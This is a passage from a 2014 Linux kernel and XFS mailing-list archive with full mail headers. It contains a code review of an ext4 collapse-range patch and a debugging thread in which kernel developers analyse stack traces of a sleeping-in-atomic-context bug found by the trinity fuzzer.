to collapse a range that is overlapping with EOF, truncate(2) is better suited. > > Moreover offset and len are loff_t which means that the addition > operation can easily overflow. Okay, I will check. > > Also you're not holding any locks which would prevent i_size from > changing. Okay. > > >> + >> + /* Collapse range works only on fs block size aligned offsets. */ >> + if (offset & blksize_mask || len & blksize_mask) >> + return -EINVAL; >> + >> + if (!S_ISREG(inode->i_mode)) >> + return -EOPNOTSUPP; >> + >> + if (EXT4_SB(sb)->s_cluster_ratio > 1) >> + return -EOPNOTSUPP; > > Please if you're going to write the support for it, make it > complete and provide support for bigalloc file system as well. > > What is the problem when it comes to bigalloc fs ? It should > concern allocation only, extent tree manipulation should be the > same. Acutally, I didn't consider bigalloc feature on collpase range because when I implmemented collapse range, punch hole didn't provide bigalloc support. As you said, bigalloc is only related with allocation, so I will remove this check. There has not been much change in ext4 patch since it was posted first time due to lack of review. > >> + >> + /* Currently just for extent based files */ >> + if (!ext4_test_inode_flag(inode, EXT4_INODE_EXTENTS)) >> + return -EOPNOTSUPP; > > That's fine indirect block addressing is pretty much obsolete now. > Ext3 uses it, but we do not need to add functionality to "ext3" > code. > > However the inode flag can change so you should do this under the > mutex lock. Okay. > >> + >> + if (IS_SWAPFILE(inode)) >> + return -ETXTBSY; > > Again, this should be done under the lock. Right. > >> + >> + trace_ext4_collapse_range(inode, offset, len); >> + >> + punch_start =3D offset >> EXT4_BLOCK_SIZE_BITS(sb); >> + punch_stop =3D (offset + len) >> EXT4_BLOCK_SIZE_BITS(sb); > > So far you've been using blksize_mask instead of > EXT4_BLOCK_SIZE_BITS(sb), please use only one to make it easier for > reader. I suggest using EXT4_BLOCK_SIZE_BITS(sb) since you actually > have sb available. Okay, I will use EXT4_BLOCK_SIZE_BITS(sb). > >> + >> + rounding =3D max_t(uint, 1 << EXT4_BLOCK_SIZE_BITS(sb), PAGE_CACHE_SIZ= E); >> + ioffset =3D offset & ~(rounding - 1); > > Why do you need to round it to the whole page ? We don't actually need to round it to page sized boundary but we are using truncate_pagecache_range to truncate pages from offset till EOF. All other places where truncate_pagecache_range is used in kernel, do this sort of rounding, so we just follow the norm. Currently it seems un-necessary, I will remove it. > >> + >> + /* Write out all dirty pages */ >> + ret =3D filemap_write_and_wait_range(inode->i_mapping, ioffset, -1); >> + if (ret) >> + return ret; >> + >> + /* Take mutex lock */ >> + mutex_lock(&inode->i_mutex); > > What about append only and immutable files ? You probably need to > check for that we well right ? See ext4_punch_hole() Okay, I will check it. > >> + >> + /* Wait for existing dio to complete */ >> + ext4_inode_block_unlocked_dio(inode); >> + inode_dio_wait(inode); >> + >> + truncate_pagecache_range(inode, ioffset, -1); >> + >> + credits =3D ext4_writepage_trans_blocks(inode); >> + handle =3D ext4_journal_start(inode, EXT4_HT_TRUNCATE, credits); >> + if (IS_ERR(handle)) { >> + ret =3D PTR_ERR(handle); >> + goto out_dio; >> + } >> + >> + down_write(&EXT4_I(inode)->i_data_sem); >> + >> + ext4_discard_preallocations(inode); >> + >> + ret =3D ext4_es_remove_extent(inode, punch_start, >> + EXT_MAX_BLOCKS - punch_start - 1); >> + if (ret) >> + goto journal_stop; >> + >> + ret =3D ext4_ext_remove_space(inode, punch_start, punch_stop - 1); >> + if (ret) >> + goto journal_stop; >> + >> + ret =3D ext4_ext_shift_extents(inode, handle, punch_stop, >> + punch_stop - punch_start); >> + if (ret) >> + goto journal_stop; >> + >> + if ((offset + len) > i_size_read(inode)) >> + new_size =3D offset; > > You've hit BUG_ON() on this case at the beginning of the function. I > am confused, please provide proper commit description. Yes, Right. this condition is obsolete as collapse range semantics have been changed since this condition was added. I will remove this one. Thanks for your review! > > Thanks! > -Lukas > >> + else >> + new_size =3D i_size_read(inode) - len; >> + >> + truncate_setsize(inode, new_size); >> + EXT4_I(inode)->i_disksize =3D new_size; >> + >> + inode->i_mtime =3D inode->i_ctime =3D ext4_current_time(inode); >> + ext4_mark_inode_dirty(handle, inode); >> + >> +journal_stop: >> + ext4_journal_stop(handle); >> + up_write(&EXT4_I(inode)->i_data_sem); >> + >> +out_dio: >> + ext4_inode_resume_unlocked_dio(inode); >> + mutex_unlock(&inode->i_mutex); >> + return ret; >> +} >> diff --git a/fs/ext4/move_extent.c b/fs/ext4/move_extent.c >> index 773b503..b474558 100644 >> --- a/fs/ext4/move_extent.c >> +++ b/fs/ext4/move_extent.c >> @@ -76,7 +76,7 @@ copy_extent_status(struct ext4_extent *src, struct >> ext4_extent *dest) >> * ext4_ext_path structure refers to the last extent, or a negative >> error >> * value on failure. >> */ >> -static int >> +int >> mext_next_extent(struct inode *inode, struct ext4_ext_path *path, >> struct ext4_extent **extent) >> { >> diff --git a/include/trace/events/ext4.h b/include/trace/events/ext4.h >> index 197d312..90e2f71 100644 >> --- a/include/trace/events/ext4.h >> +++ b/include/trace/events/ext4.h >> @@ -2410,6 +2410,31 @@ TRACE_EVENT(ext4_es_shrink_exit, >> __entry->shrunk_nr, __entry->cache_cnt) >> ); >> >> +TRACE_EVENT(ext4_collapse_range, >> + TP_PROTO(struct inode *inode, loff_t offset, loff_t len), >> + >> + TP_ARGS(inode, offset, len), >> + >> + TP_STRUCT__entry( >> + __field(dev_t, dev) >> + __field(ino_t, ino) >> + __field(loff_t, offset) >> + __field(loff_t, len) >> + ), >> + >> + TP_fast_assign( >> + __entry->dev =3D inode->i_sb->s_dev; >> + __entry->ino =3D inode->i_ino; >> + __entry->offset =3D offset; >> + __entry->len =3D len; >> + ), >> + >> + TP_printk("dev %d,%d ino %lu offset %lld len %lld", >> + MAJOR(__entry->dev), MINOR(__entry->dev), >> + (unsigned long) __entry->ino, >> + __entry->offset, __entry->len) >> +); >> + >> #endif /* _TRACE_EXT4_H */ >> >> /* This part must be outside protection */ >> > From linus971@gmail.com Tue Feb 11 20:52:22 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id EDD207F50 for ; Tue, 11 Feb 2014 20:52:21 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7E8B1AC003 for ; Tue, 11 Feb 2014 18:52:21 -0800 (PST) X-ASG-Debug-ID: 1392173539-04bdf0121f2e9810001-NocioJ Received: from mail-vc0-f179.google.com (mail-vc0-f179.google.com [209.85.220.179]) by cuda.sgi.com with ESMTP id J41MeJPARuAR73WV (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 11 Feb 2014 18:52:20 -0800 (PST) X-Barracuda-Envelope-From: linus971@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.220.179 X-Barracuda-IPDD: Level1 [gmail.com/209.85.220.179] Received: by mail-vc0-f179.google.com with SMTP id lh14so6541322vcb.38 for ; Tue, 11 Feb 2014 18:52:19 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.220.179] X-Barracuda-IPDD: Level1 [gmail.com/209.85.220.179] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=dLHXFvUlWd5mOKXlE+kro0qbGJNLhWTqbZ3DkLXLXWg=; b=H02bXofhd7CXZT0NE2LQDhuk5lXkJWFmjQxk3uEYdFynZMVZfUJS25Hx6qJbAJiAns 3uHrJhl0chCrXGgChXssn4TvIyaXti9MtGUYyMGhXReONlc6uTTpsuiRrxGcs4mY1DZ2 XLxRKwTPufWZz4ttrGwNMpFHGjnHsAgrqLrD3DA2dyjaE3cDKqZmqk7ruZxQ+zhr3c6W z5pPwsFuZKyrGnhocd0GK1+x9A5EEeWWXCdbFC8IPGRiluURQvwbuXY9SZxCkFypFgsu gCHHZxR975hkFQIl6bcalj6BHTshPij7AItIxC21hCCOxAh6TeDpYcxxo0QfU5l7FTmS RHcQ== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linux-foundation.org; s=google; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=dLHXFvUlWd5mOKXlE+kro0qbGJNLhWTqbZ3DkLXLXWg=; b=MUlpBpLQx9IB5V5yV/ihbZISECMBjPiEXqB3ou5cWV/patRT9KNMD9oom3K8uCDuek 9d7p07ajVbfYymCMJMacnux4XZxpNSEBm7YYs+BjMQWn44qhr/aL+Esuh0HY/eZBOuZH T0nOjOy0TR/2qk4lkeVusXt2FH8WfJT7O8TQM= MIME-Version: 1.0 X-Received: by 10.52.121.113 with SMTP id lj17mr26278382vdb.21.1392173539277; Tue, 11 Feb 2014 18:52:19 -0800 (PST) Sender: linus971@gmail.com Received: by 10.220.13.2 with HTTP; Tue, 11 Feb 2014 18:52:19 -0800 (PST) In-Reply-To: <20140212010941.GM18016@ZenIV.linux.org.uk> References: <20140211172707.GA1749@redhat.com> <20140211210841.GM13647@dastard> <52FA9ADA.9040803@sandeen.net> <20140212004403.GA17129@redhat.com> <20140212010941.GM18016@ZenIV.linux.org.uk> Date: Tue, 11 Feb 2014 18:52:19 -0800 X-Google-Sender-Auth: AAAZddWX80Xi9pNTx8jDrkdACsY Message-ID: Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. From: Linus Torvalds X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. To: Al Viro Cc: Dave Jones , Eric Sandeen , Dave Chinner , Linux Kernel , xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-vc0-f179.google.com[209.85.220.179] X-Barracuda-Start-Time: 1392173540 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145041 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Tue, Feb 11, 2014 at 5:09 PM, Al Viro wrote: > > Slap the check in vfs_create(), see if interrupts had been disabled by it or > by something in ->create(). Since it's reproducible... path_openat() starts off with a get_empty_filp(), which allocates a file pointer with GFP_KERNEL. So that should have triggered the might_sleep warning if irq's were already disabled at that point. So it's not before that - in particular, it's not in the signal handling or do_coredump() paths. Also, at least xfs_buf_lock() - which is much deeper in that chain - does a down(&bp->b_sema). I'm disguested that that doesn't have a might_sleep() in it. Dave, mind adding a "might_sleep()" to the top of "down[_interruptible]()". It's silly to not have coverage of semaphore use in bad contexts. Linus From davej@redhat.com Tue Feb 11 22:04:14 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5688F7F50 for ; Tue, 11 Feb 2014 22:04:14 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4A77B8F804C for ; Tue, 11 Feb 2014 20:04:11 -0800 (PST) X-ASG-Debug-ID: 1392177849-04cbb00c292c6350001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id x7MrbJmAttL4noSI for ; Tue, 11 Feb 2014 20:04:10 -0800 (PST) X-Barracuda-Envelope-From: davej@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1C447FT002998 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 11 Feb 2014 23:04:07 -0500 Received: from gelk.kernelslacker.org (ovpn-113-62.phx2.redhat.com [10.3.113.62]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1C441Dx027820 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 11 Feb 2014 23:04:06 -0500 Received: from gelk.kernelslacker.org (localhost [127.0.0.1]) by gelk.kernelslacker.org (8.14.7/8.14.7) with ESMTP id s1C440rO025449; Tue, 11 Feb 2014 23:04:00 -0500 Received: (from davej@localhost) by gelk.kernelslacker.org (8.14.7/8.14.7/Submit) id s1C43wXd025448; Tue, 11 Feb 2014 23:03:58 -0500 X-Authentication-Warning: gelk.kernelslacker.org: davej set sender to davej@redhat.com using -f Date: Tue, 11 Feb 2014 23:03:58 -0500 From: Dave Jones To: Linus Torvalds Cc: Al Viro , Eric Sandeen , Dave Chinner , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140212040358.GA25327@redhat.com> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Mail-Followup-To: Dave Jones , Linus Torvalds , Al Viro , Eric Sandeen , Dave Chinner , Linux Kernel , xfs@oss.sgi.com References: <20140211172707.GA1749@redhat.com> <20140211210841.GM13647@dastard> <52FA9ADA.9040803@sandeen.net> <20140212004403.GA17129@redhat.com> <20140212010941.GM18016@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392177850 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Tue, Feb 11, 2014 at 06:52:19PM -0800, Linus Torvalds wrote: > On Tue, Feb 11, 2014 at 5:09 PM, Al Viro wrote: > > > > Slap the check in vfs_create(), see if interrupts had been disabled by it or > > by something in ->create(). Since it's reproducible... > > path_openat() starts off with a get_empty_filp(), which allocates a > file pointer with GFP_KERNEL. So that should have triggered the > might_sleep warning if irq's were already disabled at that point. > > So it's not before that - in particular, it's not in the signal > handling or do_coredump() paths. > > Also, at least xfs_buf_lock() - which is much deeper in that chain - > does a down(&bp->b_sema). I'm disguested that that doesn't have a > might_sleep() in it. > > Dave, mind adding a "might_sleep()" to the top of > "down[_interruptible]()". It's silly to not have coverage of semaphore > use in bad contexts. Added those, didn't trigger. Neither did Al's suggestion. Slightly different trace, but still from the coredump path. Dave [ 3111.403822] BUG: sleeping function called from invalid context at mm/mempool.c:203 [ 3111.404414] in_atomic(): 0, irqs_disabled(): 1, pid: 19213, name: trinity-c46 [ 3111.404884] 5 locks held by trinity-c46/19213: [ 3111.405354] #0: (sb_writers#9){......}, at: [] do_coredump+0xe05/0xf60 [ 3111.405862] #1: (shrinker_rwsem){......}, at: [] shrink_slab+0x3f/0x180 [ 3111.406374] #2: (&type->s_umount_key#30){......}, at: [] grab_super_passive+0x44/0x90 [ 3111.406905] #3: (&pag->pag_ici_reclaim_lock){......}, at: [] xfs_reclaim_inodes_ag+0x31a/0x430 [xfs] [ 3111.407466] #4: (&(&ip->i_lock)->mr_lock){......}, at: [] xfs_ilock+0x16f/0x1b0 [xfs] [ 3111.408039] CPU: 0 PID: 19213 Comm: trinity-c46 Not tainted 3.14.0-rc2+ #113 [ 3111.409779] ffffffff8da3fde6 000000004f998871 ffff88023715cce0 ffffffff8d72b091 [ 3111.410396] 0000000000000000 ffff88023715cd08 ffffffff8d09ddb5 0000000000000010 [ 3111.411021] ffff880243566288 0000000000000008 ffff88023715cd88 ffffffff8d1534f3 [ 3111.411656] Call Trace: [ 3111.412283] [] dump_stack+0x4e/0x7a [ 3111.412922] [] __might_sleep+0x105/0x150 [ 3111.413562] [] mempool_alloc+0xa3/0x170 [ 3111.414202] [] bio_alloc_bioset+0x156/0x210 [ 3111.414855] [] _xfs_buf_ioapply+0x1c1/0x3c0 [xfs] [ 3111.415517] [] ? xlog_bdstrat+0x22/0x60 [xfs] [ 3111.416175] [] xfs_buf_iorequest+0x6b/0xf0 [xfs] [ 3111.416843] [] xlog_bdstrat+0x22/0x60 [xfs] [ 3111.417509] [] xlog_sync+0x3a7/0x5b0 [xfs] [ 3111.418175] [] xlog_state_release_iclog+0x10f/0x120 [xfs] [ 3111.418846] [] xlog_write+0x6f0/0x800 [xfs] [ 3111.419518] [] xlog_cil_push+0x2f1/0x410 [xfs] [ 3111.420195] [] xlog_cil_force_lsn+0x1d8/0x210 [xfs] [ 3111.420865] [] ? __bit_spin_unlock.constprop.66+0x19/0x40 [ 3111.421551] [] _xfs_log_force_lsn+0x93/0x340 [xfs] [ 3111.422239] [] xfs_log_force_lsn+0x2e/0xb0 [xfs] [ 3111.422932] [] ? xfs_iunpin_wait+0x19/0x20 [xfs] [ 3111.423625] [] __xfs_iunpin_wait+0xd0/0x1a0 [xfs] [ 3111.424310] [] ? autoremove_wake_function+0x40/0x40 [ 3111.425008] [] xfs_iunpin_wait+0x19/0x20 [xfs] [ 3111.425705] [] xfs_reclaim_inode+0x8c/0x380 [xfs] [ 3111.426405] [] xfs_reclaim_inodes_ag+0x27b/0x430 [xfs] [ 3111.427104] [] ? xfs_reclaim_inodes_ag+0x100/0x430 [xfs] [ 3111.427797] [] xfs_reclaim_inodes_nr+0x33/0x40 [xfs] [ 3111.428481] [] xfs_fs_free_cached_objects+0x15/0x20 [xfs] [ 3111.429150] [] super_cache_scan+0x16c/0x180 [ 3111.429824] [] shrink_slab_node+0x14b/0x2e0 [ 3111.430489] [] ? shrink_slab+0x3f/0x180 [ 3111.431146] [] shrink_slab+0x8e/0x180 [ 3111.431796] [] try_to_free_pages+0x516/0x970 [ 3111.432436] [] ? __set_page_dirty+0x27/0xc0 [ 3111.433065] [] __alloc_pages_nodemask+0x7a9/0xb00 [ 3111.433689] [] alloc_pages_current+0x106/0x1f0 [ 3111.434304] [] ? pte_alloc_one+0x17/0x80 [ 3111.434911] [] pte_alloc_one+0x17/0x80 [ 3111.435510] [] __pte_alloc+0x27/0x130 [ 3111.436098] [] handle_mm_fault+0xafc/0xbb0 [ 3111.436681] [] __get_user_pages+0x1ce/0x620 [ 3111.437254] [] get_dump_page+0x54/0x80 [ 3111.437810] [] elf_core_dump+0x12d9/0x1420 [ 3111.438356] [] ? elf_core_dump+0x860/0x1420 [ 3111.438884] [] do_coredump+0xc02/0xf60 [ 3111.439398] [] get_signal_to_deliver+0x2b8/0x6b0 [ 3111.439898] [] do_signal+0x57/0x9d0 [ 3111.440386] [] ? __acct_update_integrals+0x8e/0x120 [ 3111.440873] [] ? preempt_count_sub+0x6b/0xf0 [ 3111.441357] [] ? _raw_spin_unlock+0x31/0x50 [ 3111.441833] [] ? vtime_account_user+0x91/0xa0 [ 3111.442307] [] ? context_tracking_user_exit+0x9b/0x100 [ 3111.442783] [] do_notify_resume+0x5c/0xa0 [ 3111.443260] [] retint_signal+0x46/0x90 [ 3111.443773] ------------[ cut here ]------------ [ 3111.444248] WARNING: CPU: 0 PID: 19213 at block/blk.h:227 generic_make_request_checks+0x33f/0x460() [ 3111.444742] Modules linked in: fuse can_bcm can_raw scsi_transport_iscsi ipt_ULOG nfnetlink nfc caif_socket caif af_802154 phonet af_rxrpc can pppoe pppox ppp_generic slhc irda crc_ccitt rds rose x25 atm netrom appletalk ipx p8023 psnap p8022 llc ax25 cfg80211 xfs libcrc32c coretemp hwmon x86_pkg_temp_thermal kvm_intel kvm crct10dif_pclmul crc32c_intel ghash_clmulni_intel snd_hda_codec_hdmi snd_hda_codec_realtek snd_hda_codec_generic microcode serio_raw pcspkr btusb bluetooth 6lowpan_iphc rfkill usb_debug snd_hda_intel snd_hda_codec snd_hwdep snd_seq snd_seq_device snd_pcm e1000e ptp pps_core shpchp snd_timer snd soundcore [ 3111.447600] CPU: 0 PID: 19213 Comm: trinity-c46 Not tainted 3.14.0-rc2+ #113 [ 3111.449427] 0000000000000009 000000004f998871 ffff88023715cc90 ffffffff8d72b091 [ 3111.450062] 0000000000000000 ffff88023715ccc8 ffffffff8d06d0cd ffff8801ef3a1440 [ 3111.450697] 00000000ffffffff 00000000197e5088 0000000000800005 ffff88024091b740 [ 3111.451339] Call Trace: [ 3111.451968] [] dump_stack+0x4e/0x7a [ 3111.452608] [] warn_slowpath_common+0x7d/0xa0 [ 3111.453247] [] warn_slowpath_null+0x1a/0x20 [ 3111.453882] [] generic_make_request_checks+0x33f/0x460 [ 3111.454523] [] generic_make_request+0x27/0x130 [ 3111.455159] [] submit_bio+0x78/0x160 [ 3111.455790] [] ? bio_alloc_bioset+0x180/0x210 [ 3111.456432] [] _xfs_buf_ioapply+0x2bb/0x3c0 [xfs] [ 3111.457179] [] ? xlog_bdstrat+0x22/0x60 [xfs] [ 3111.457825] [] xfs_buf_iorequest+0x6b/0xf0 [xfs] [ 3111.458472] [] xlog_bdstrat+0x22/0x60 [xfs] [ 3111.459120] [] xlog_sync+0x3a7/0x5b0 [xfs] [ 3111.459768] [] xlog_state_release_iclog+0x10f/0x120 [xfs] [ 3111.460422] [] xlog_write+0x6f0/0x800 [xfs] [ 3111.461069] [] xlog_cil_push+0x2f1/0x410 [xfs] [ 3111.461714] [] xlog_cil_force_lsn+0x1d8/0x210 [xfs] [ 3111.462349] [] ? __bit_spin_unlock.constprop.66+0x19/0x40 [ 3111.463001] [] _xfs_log_force_lsn+0x93/0x340 [xfs] [ 3111.463654] [] xfs_log_force_lsn+0x2e/0xb0 [xfs] [ 3111.464311] [] ? xfs_iunpin_wait+0x19/0x20 [xfs] [ 3111.464966] [] __xfs_iunpin_wait+0xd0/0x1a0 [xfs] [ 3111.465609] [] ? autoremove_wake_function+0x40/0x40 [ 3111.466266] [] xfs_iunpin_wait+0x19/0x20 [xfs] [ 3111.466920] [] xfs_reclaim_inode+0x8c/0x380 [xfs] [ 3111.467573] [] xfs_reclaim_inodes_ag+0x27b/0x430 [xfs] [ 3111.468226] [] ? xfs_reclaim_inodes_ag+0x100/0x430 [xfs] [ 3111.468881] [] xfs_reclaim_inodes_nr+0x33/0x40 [xfs] [ 3111.469535] [] xfs_fs_free_cached_objects+0x15/0x20 [xfs] [ 3111.470182] [] super_cache_scan+0x16c/0x180 [ 3111.470831] [] shrink_slab_node+0x14b/0x2e0 [ 3111.471478] [] ? shrink_slab+0x3f/0x180 [ 3111.472121] [] shrink_slab+0x8e/0x180 [ 3111.472761] [] try_to_free_pages+0x516/0x970 [ 3111.473401] [] ? __set_page_dirty+0x27/0xc0 [ 3111.474040] [] __alloc_pages_nodemask+0x7a9/0xb00 [ 3111.474670] [] alloc_pages_current+0x106/0x1f0 [ 3111.475285] [] ? pte_alloc_one+0x17/0x80 [ 3111.475879] [] pte_alloc_one+0x17/0x80 [ 3111.476455] [] __pte_alloc+0x27/0x130 [ 3111.477012] [] handle_mm_fault+0xafc/0xbb0 [ 3111.477549] [] __get_user_pages+0x1ce/0x620 [ 3111.478072] [] get_dump_page+0x54/0x80 [ 3111.478576] [] elf_core_dump+0x12d9/0x1420 [ 3111.479065] [] ? elf_core_dump+0x860/0x1420 [ 3111.479546] [] do_coredump+0xc02/0xf60 [ 3111.480021] [] get_signal_to_deliver+0x2b8/0x6b0 [ 3111.480498] [] do_signal+0x57/0x9d0 [ 3111.480964] [] ? __acct_update_integrals+0x8e/0x120 [ 3111.481435] [] ? preempt_count_sub+0x6b/0xf0 [ 3111.481906] [] ? _raw_spin_unlock+0x31/0x50 [ 3111.482377] [] ? vtime_account_user+0x91/0xa0 [ 3111.482847] [] ? context_tracking_user_exit+0x9b/0x100 [ 3111.483324] [] do_notify_resume+0x5c/0xa0 [ 3111.483800] [] retint_signal+0x46/0x90 [ 3111.484274] ---[ end trace 8cc272739908f779 ]--- From viro@ftp.linux.org.uk Tue Feb 11 22:22:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A2EA67F50 for ; Tue, 11 Feb 2014 22:22:23 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7E4068F804C for ; Tue, 11 Feb 2014 20:22:23 -0800 (PST) X-ASG-Debug-ID: 1392178941-04cbb00c282c73e0001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id CMfDp8y2x7yR7KbN (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 11 Feb 2014 20:22:21 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WDRKx-0000PY-Hd; Wed, 12 Feb 2014 04:22:15 +0000 Date: Wed, 12 Feb 2014 04:22:15 +0000 From: Al Viro To: Dave Jones , Linus Torvalds , Eric Sandeen , Dave Chinner , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140212042215.GN18016@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140211172707.GA1749@redhat.com> <20140211210841.GM13647@dastard> <52FA9ADA.9040803@sandeen.net> <20140212004403.GA17129@redhat.com> <20140212010941.GM18016@ZenIV.linux.org.uk> <20140212040358.GA25327@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140212040358.GA25327@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1392178941 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145042 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 11, 2014 at 11:03:58PM -0500, Dave Jones wrote: > [ 3111.414202] [] bio_alloc_bioset+0x156/0x210 > [ 3111.414855] [] _xfs_buf_ioapply+0x1c1/0x3c0 [xfs] > [ 3111.415517] [] ? xlog_bdstrat+0x22/0x60 [xfs] > [ 3111.416175] [] xfs_buf_iorequest+0x6b/0xf0 [xfs] > [ 3111.416843] [] xlog_bdstrat+0x22/0x60 [xfs] > [ 3111.417509] [] xlog_sync+0x3a7/0x5b0 [xfs] > [ 3111.418175] [] xlog_state_release_iclog+0x10f/0x120 [xfs] > [ 3111.418846] [] xlog_write+0x6f0/0x800 [xfs] > [ 3111.419518] [] xlog_cil_push+0x2f1/0x410 [xfs] Very interesting. The first thing xlog_cil_push() is doing is blocking kmalloc(). So at that point it still hadn't been atomic. I'd probably slap may_sleep() in the beginning of xlog_sync() and see if that triggers... From david@fromorbit.com Tue Feb 11 23:40:53 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 33BA47F50 for ; Tue, 11 Feb 2014 23:40:53 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 28457304059 for ; Tue, 11 Feb 2014 21:40:49 -0800 (PST) X-ASG-Debug-ID: 1392183647-04cb6c6de32d2f30001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id 2xpNN8Q9f7OUexGC for ; Tue, 11 Feb 2014 21:40:47 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: 